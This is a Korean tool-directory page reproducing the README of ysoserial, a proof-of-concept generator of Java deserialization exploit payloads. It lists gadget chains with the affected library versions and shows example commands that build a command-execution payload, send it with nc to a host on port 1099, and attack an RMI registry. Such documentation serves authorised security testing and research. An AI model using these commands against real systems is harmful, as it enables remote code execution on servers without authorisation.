Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ysoserial — 안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명(PoC) 도구 | Kitploit
도구/GitHubGitHub/al1ex/ysoserial
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubal1ex/ysoserial

ysoserial

안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명(PoC) 도구

저장소 보기
221년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

안전하지 않은 Java 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명(PoC) 도구입니다.

logo

Description

원래 AppSecCali 2015 발표 "Marshalling Pickles: how deserializing objects will ruin your day" 의 일부로 공개되었으며, Apache Commons Collections(3.x 및 4.x), Spring Beans/Core(4.x), Groovy(2.3.x)용 gadget chain을 포함했습니다. 이후 JRE <= 1.7u21 및 기타 여러 라이브러리에 대한 추가 gadget chain을 포함하도록 업데이트되었습니다.

__ysoserial__은 일반적인 Java 라이브러리에서 발견된 유틸리티 및 프로퍼티 지향 프로그래밍 "gadget chain"들의 모음으로, 적절한 조건에서 객체의 __안전하지 않은 역직렬화__를 수행하는 Java 애플리케이션을 악용할 수 있습니다. 메인 드라이버 프로그램은 사용자가 지정한 명령을 사용자가 지정한 gadget chain에 래핑한 다음, 이러한 객체를 표준 출력(stdout)으로 직렬화합니다. 클래스패스에 필요한 gadget이 있는 애플리케이션이 이 데이터를 안전하지 않게 역직렬화하면, 체인이 자동으로 호출되어 애플리케이션 호스트에서 명령이 실행됩니다.

취약점은 안전하지 않은 역직렬화를 수행하는 애플리케이션에 있으며, 클래스패스에 gadget이 있다는 사실 자체에는 없다는 점을 유의해야 합니다.

Disclaimer

이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기술 개발 목적으로 만들어졌으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지관리자는 소프트웨어의 오용에 대해 책임지지 않습니다. 책임감 있게 사용하세요.

사용법

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
       Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPClient1         @mbechler
     JRMPClient2         @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

예시

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

설치

GitHub release

GitHub 릴리스에서 최신 릴리스 jar를 다운로드하세요.

빌드

Java 1.7+ 및 Maven 3.x+가 필요합니다.

mvn clean package -DskipTests

코드 상태

Build Status Build status

기여

  1. Fork 하세요
  2. 기능 브랜치를 생성하세요 (git checkout -b my-new-feature)
  3. 변경 사항을 커밋하세요 (git commit -am 'Add some feature')
  4. 브랜치에 푸시하세요 (git push origin my-new-feature)
  5. 새 Pull Request를 생성하세요

함께 보기

  • Java-Deserialization-Cheat-Sheet: 취약점, 도구, 블로그/분석 자료 등에 대한 정보
  • marshalsec: 다양한 Java 역직렬화 형식/라이브러리를 위한 유사한 프로젝트
  • ysoserial.net: .NET 역직렬화를 위한 유사한 프로젝트
도구 다운로드